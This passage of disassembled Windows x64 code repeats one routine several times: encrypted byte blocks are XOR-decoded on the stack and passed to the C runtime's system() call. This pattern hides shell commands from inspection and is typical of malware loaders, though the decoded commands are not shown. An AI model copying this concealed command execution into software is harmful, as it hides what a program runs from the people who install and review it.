jl 0x14000749a
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140007391
cmp r8d, 0x9c
jge 0x1400074e3
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9c
jl 0x1400074b0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a3990]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400a39a0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1400a39b0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400a39c0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400a39d0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400a39e0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x1400a39f0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400a3a00]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x1400a3a10]
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x1400a3a20]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x1400a3a28]
mov dword [rbp - 0x38], eax
xor r8d, r8d
cmp ebx, 2
jl 0x1400076ba
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x1400075b1
cmp r8d, 0x9c
jge 0x140007703
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9c
jl 0x1400076d0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a6710]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400a6720]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1400a6730]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400a6740]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400a6750]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400a6760]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x1400a6770]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400a6780]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x1400a6790]
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x1400a67a0]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x1400a67a8]
mov dword [rbp - 0x38], eax
xor r8d, r8d
cmp ebx, 2
jl 0x1400078da
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x1400077d1
cmp r8d, 0x9c
jge 0x140007923
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9c
jl 0x1400078f0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a5190]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400a51a0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1400a51b0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400a51c0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400a51d0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400a51e0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x1400a51f0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400a5200]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x1400a5210]
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x1400a5220]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x1400a5228]
mov dword [rbp - 0x38], eax
xor r8d, r8d
cmp ebx, 2
jl 0x140007afa
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x1400079f1
cmp r8d, 0x9c
jge 0x140007b43
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9c
jl 0x140007b10
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a4a90]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400a4aa0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1400a4ab0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400a4ac0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400a4ad0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400a4ae0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x1400a4af0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400a4b00]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x1400a4b10]
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x1400a4b20]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x1400a4b28]
mov dword [rbp - 0x38], eax
xor r8d, r8d
cmp ebx, 2
jl 0x140007d1a
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140007c11
cmp r8d, 0x9c
jge 0x140007d63
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9c
jl 0x140007d30
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a5ec0]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400a5ed0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1400a5ee0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400a5ef0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400a5f00]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400a5f10]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x1400a5f20]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400a5f30]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x1400a5f40]
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x1400a5f50]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x1400a5f58]
mov dword [rbp - 0x38], eax
xor r8d, r8d
cmp ebx, 2
jl 0x140007f3a
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140007e31
cmp r8d, 0x9c
jge 0x140007f83
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9c
jl 0x140007f50
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a4350]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400a4360]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1400a4370]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400a4380]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400a4390]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400a43a0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x1400a43b0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400a43c0]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x1400a43d0]
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x1400a43e0]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x1400a43e8]
mov dword [rbp - 0x38], eax
xor r8d, r8d
cmp ebx, 2
jl 0x14000815a
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140008051
cmp r8d, 0x9c
jge 0x1400081a3
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9c
jl 0x140008170
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a5450]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400a5460]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1400a5470]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400a5480]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400a5490]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400a54a0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x1400a54b0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400a54c0]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x1400a54d0]
movups xmmword [rbp - 0x50], xmm0
movzx eax, word [0x1400a54e0]
mov word [rbp - 0x40], ax
xor r8d, r8d
cmp ebx, 2
jl 0x140008379
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140008270
cmp r8d, 0x92
jge 0x1400083c3
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x92
jl 0x140008390
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a5c80]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400a5c90]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1400a5ca0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400a5cb0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400a5cc0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400a5cd0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x1400a5ce0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400a5cf0]
movups xmmword [rbp - 0x60], xmm1
movsd xmm0, qword [0x1400a5d00]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x1400a5d08]
mov dword [rbp - 0x48], eax
xor r8d, r8d
cmp ebx, 2
jl 0x140008599
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
